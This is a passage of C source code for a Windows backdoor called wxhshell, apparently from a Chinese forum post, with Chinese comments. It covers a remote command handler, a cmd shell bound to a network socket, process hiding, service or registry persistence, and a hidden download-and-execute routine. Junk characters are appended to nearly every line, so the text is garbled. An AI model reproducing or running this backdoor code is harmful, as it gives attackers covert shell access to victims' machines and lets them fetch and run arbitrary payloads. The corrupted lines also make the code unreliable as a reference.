    switch(cmd[0]) { fTzvmC:g7  
  BK*x] zG$  
  // 帮助 FRcy`)  
  case '?': { ^m L@e'r  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Gk967pC  
    break; 4pe'06:  
  } K7$x<5+)  
  // 安装 X#d~zk[r2  
  case 'i': { .R`5 Qds*l  
    if(Install()) &6DMk-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <CRP ^_c  
    else }{M#EP8q+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); siXr;/n"  
    break; BW-`t-,E;  
    } V zBqjE_  
  // 卸载 |\w=u6jX  
  case 'r': { 9s_vL9u  
    if(Uninstall()) ]d55m/(   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BNz5lrfq  
    else PiYY6i0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Kfm5i Q  
    break; avjpA ?Vz  
    } jNu9KlN  
  // 显示 wxhshell 所在路径 Z,`iO %W  
  case 'p': { e}mD]O}  
    char svExeFile[MAX_PATH]; mt9 .x  
    strcpy(svExeFile,"\n\r"); Cv }Qwy  
      strcat(svExeFile,ExeFile); d#6`&MR  
        send(wsh,svExeFile,strlen(svExeFile),0); AoY -\E  
    break; r`%+M7  
    } iM2W]  
  // 重启 4!$s}V=6  
  case 'b': { LY6;.d$J  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =,%CLS,6w  
    if(Boot(REBOOT)) zs%Hb48V   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1[kMOp  
    else { Nb?w|Ne(T  
    closesocket(wsh); 0- ><q  
    ExitThread(0); ur*T%b9&  
    } hbU+Usx  
    break; u7bLZU 0  
    } HN_d{ 3  
  // 关机 A"`foI$0  
  case 'd': { ktnuNsp  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 79nG|Yj|\  
    if(Boot(SHUTDOWN)) Mb"J@5P[4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $f,n8]  
    else { *J$=.fF1  
    closesocket(wsh); dp++%:j  
    ExitThread(0); N+zKr/  
    } UUF ;p2{f  
    break; RbCPmiZcH  
    } z?>D_NLX6  
  // 获取shell @lCJ G!u  
  case 's': { |_}2f  
    CmdShell(wsh); _nD$b={g  
    closesocket(wsh); p>vn7;s2#  
    ExitThread(0); 7Q7-vx  
    break; y'(Ne=y  
  } _FXZm50\g{  
  // 退出 PGYXhwOI  
  case 'x': { n"+[ :w4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jAy^J(+  
    CloseIt(wsh); YhbZ'SJ  
    break; |X,|QC*7?  
    } hdnTXs@z  
  // 离开 Au{<hQ =  
  case 'q': { N;Dni#tQ`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); XQ%?  
    closesocket(wsh); RG3l.jL  
    WSACleanup(); MS>t_C(  
    exit(1); i:rFQ8 I  
    break; RaWG w  
        } GM<BO8Y.  
  } BYTnrPA&Z;  
  } '; =f  
uHH/rMV  
  // 提示信息 tniDF>Rb  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pWPIJ>2G:  
} .,7JAkB%t  
  } UbEb&9}  
v^)bhIPe;  
  return; D'L'#/hK  
} vo\fUT@k  
}Ow>dV?  
// shell模块句柄 w?zKjqza=v  
int CmdShell(SOCKET sock) # altx=6'  
{ i<H wTmm$  
STARTUPINFO si; h G gx  
ZeroMemory(&si,sizeof(si)); Oy<5>2^P  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >w-;Z>3Q@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; mNb ?*3\  
PROCESS_INFORMATION ProcessInfo; V[}4L| ad  
char cmdline[]="cmd"; {K4+6p  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); FP0G]=ME  
  return 0; |,#t^'S!  
} "t({D   
-+7uy.@cS  
// 自身启动模式 ]W Zq^'q.  
int StartFromService(void) ! iptT(2  
{ -6tgsfEr  
typedef struct -b9;5eS!  
{ :l2g#* c  
  DWORD ExitStatus; j4>a(  
  DWORD PebBaseAddress; B|C/ Rk6?  
  DWORD AffinityMask; 3m>+-})d  
  DWORD BasePriority; z-@=+4~  
  ULONG UniqueProcessId; J[A14z]#`  
  ULONG InheritedFromUniqueProcessId; &K43x&mFF  
}   PROCESS_BASIC_INFORMATION; j:}J}P  
I=7Y]w=  
PROCNTQSIP NtQueryInformationProcess; t~e<z81p  
h)6GaJ=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4-kZJ\]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; oT{@_U{*J  
}<>~sy  
  HANDLE             hProcess; l" q1?kaVg  
  PROCESS_BASIC_INFORMATION pbi; A%Xt|=^_  
Ul_M3"Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); OdQT2PA_  
  if(NULL == hInst ) return 0; !" JfOu  
SFb{o <0 =  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $B#6tk~u  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;Og&FFs'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4<lQwV6=  
{ F'Kk\f%:  
  if (!NtQueryInformationProcess) return 0; ]Ni;w]KE  
T/c<23i  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $55U+)C<  
  if(!hProcess) return 0; LuR,f"%2  
dLvJh#`o  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &(z fa&j|  
zf.- I  
  CloseHandle(hProcess); WKr X,GF  
T# lP!c  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R*zO dxY  
if(hProcess==NULL) return 0; ExSO|g]%  
=H %-.m'f2  
HMODULE hMod; ,;<RW]r-P  
char procName[255]; 4Hb $0l  
unsigned long cbNeeded; 2/36dGFH  
1AHx"e,;L  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A])P1c. 7"  
jJ3zF3Id  
  CloseHandle(hProcess); G~wFnl%  
-h-oMqgu(  
if(strstr(procName,"services")) return 1; // 以服务启动 'r} zY-FM`  
Fl{WAg  
  return 0; // 注册表启动 Q<6P. PTya  
} Cs@ +r  
T;\^#1  
// 主模块 85|fyX  
int StartWxhshell(LPSTR lpCmdLine) /u`3VOn  
{ L{ho*^b  
  SOCKET wsl; mxFn7.|r~  
BOOL val=TRUE; t` 8!AhOgc  
  int port=0; ~~F2Ij  
  struct sockaddr_in door; ~%ozgzr^  
s?3i) Ymr  
  if(wscfg.ws_autoins) Install(); u/Fj'*M  
~%#mK:+  
port=atoi(lpCmdLine); wP"q<W g  
+m,!e*g  
if(port<=0) port=wscfg.ws_port; !&] z*t  
MS<SAD>w  
  WSADATA data; ]Z4zF"@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 68R1AqU_  
w7-WUvxl  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   x.$1<w64t  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #\4 b:dv  
  door.sin_family = AF_INET; ]M,06P>?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *s)}Bj  
  door.sin_port = htons(port); :Dl% _l  
49 }{R/:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \&}G]  
closesocket(wsl); z,*:x4}F  
return 1; $T }Tz7(  
} UQd6/mD`e  
N<JHjq  
  if(listen(wsl,2) == INVALID_SOCKET) { > %*B`oqo  
closesocket(wsl); :WXf.+IA  
return 1; dL;HV8z^  
} 6J%iZ  
  Wxhshell(wsl); (U87}}/l  
  WSACleanup(); ^[-> )  
[cU,!={  
return 0; 0jB X5  
j%&  IL0  
} Ff"gadRXd  
mVm4fHEYwU  
// 以NT服务方式启动 [@{0o+.]'H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P#G.lft"O  
{ 5n:71$6[  
DWORD   status = 0; PDw{R]V+  
  DWORD   specificError = 0xfffffff; y7zkAXhJ  
73DlRt *  
  serviceStatus.dwServiceType     = SERVICE_WIN32; aIvBY78o  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2eok@1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rS~qi}4X  
  serviceStatus.dwWin32ExitCode     = 0; RR>G]#k  
  serviceStatus.dwServiceSpecificExitCode = 0; & 5 <**  
  serviceStatus.dwCheckPoint       = 0; d><fu]'  
  serviceStatus.dwWaitHint       = 0; w@N{ @tG  
R "E<8w  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kl{6]39  
  if (hServiceStatusHandle==0) return; /GsrGX8  
mC(u2  
status = GetLastError(); kfpm=dKL  
  if (status!=NO_ERROR) |Is'-g!  
{ ,OBQv.D3>a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &X w`T9<  
    serviceStatus.dwCheckPoint       = 0; ag]*DsBt  
    serviceStatus.dwWaitHint       = 0; ATO 5  
    serviceStatus.dwWin32ExitCode     = status; :QA@ c|(PF  
    serviceStatus.dwServiceSpecificExitCode = specificError; !d4HN.a7+u  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ib50LCm  
    return; E*4t8  
  } cqg=8$RB  
@aB9%An1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4 ?2g&B\  
  serviceStatus.dwCheckPoint       = 0; _[$# b]V  
  serviceStatus.dwWaitHint       = 0;  wF;B@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); S_T  
} D%GGu"@GO  
CveWl$T12  
// 处理NT服务事件,比如:启动、停止 ||gEs/6-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) m3%ef  
{ (wlfMiO  
switch(fdwControl) p5qx=p~c  
{ 77_g}N  
case SERVICE_CONTROL_STOP: 1HXlHic  
  serviceStatus.dwWin32ExitCode = 0; xc *!W*04  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; R8{e&n PE  
  serviceStatus.dwCheckPoint   = 0; Z]e4pR6!  
  serviceStatus.dwWaitHint     = 0; RR'(9QJ$  
  { toN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  qV?sg  
  } t!l/`e%J  
  return; b7qnO jC  
case SERVICE_CONTROL_PAUSE: MyM+C}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7Ff?Ysr  
  break; $Gd5wmb!  
case SERVICE_CONTROL_CONTINUE: ,?#*eJD  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \ j x0ZHR  
  break; ]#M/$?!]g2  
case SERVICE_CONTROL_INTERROGATE: dd19z%  
  break; kYTOldfY2  
}; v?%0~!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _p$"NNFN  
} )MMhlcNC  
Wu]/(F  
// 标准应用程序主函数 +0dQORo  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j& <tdORT  
{ hQP6@KIe)  
`Q+i-y  
// 获取操作系统版本 g8rp|MOH  
OsIsNt=GetOsVer(); Y]M^n&f  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }^IwQm*i  
vx PDC~3;  
  // 从命令行安装 L;4[ k;5  
  if(strpbrk(lpCmdLine,"iI")) Install(); #%:`p9p.S  
@-}D7?  
  // 下载执行文件 .<0=a|IAz  
if(wscfg.ws_downexe) { 8Yo-~,Gb  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D8q3TyCj%  
  WinExec(wscfg.ws_filenam,SW_HIDE); X9DM ^tt  
} \}U[}5Pk&  
J& n ^y  
if(!OsIsNt) { ^! $} BY  
// 如果时win9x,隐藏进程并且设置为注册表启动 >~.Zr3P6kC  
HideProc(); d.L OyO  
StartWxhshell(lpCmdLine); 0,;E.Py?.  
} $^!a`Xr  
else x:=0.l#  
  if(StartFromService()) wBg<Q{J  
  // 以服务方式启动 DN4fP-m-  
  StartServiceCtrlDispatcher(DispatchTable); s$js5 ou  
else "sz.v<F0:s  
  // 普通方式启动 gcQ.  YP9  
  StartWxhshell(lpCmdLine); `wP/Zp{Hy  
}R7sj  
return 0; !G+n"-h9'  
}
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只看该作者 1 发表于: 2006-10-10
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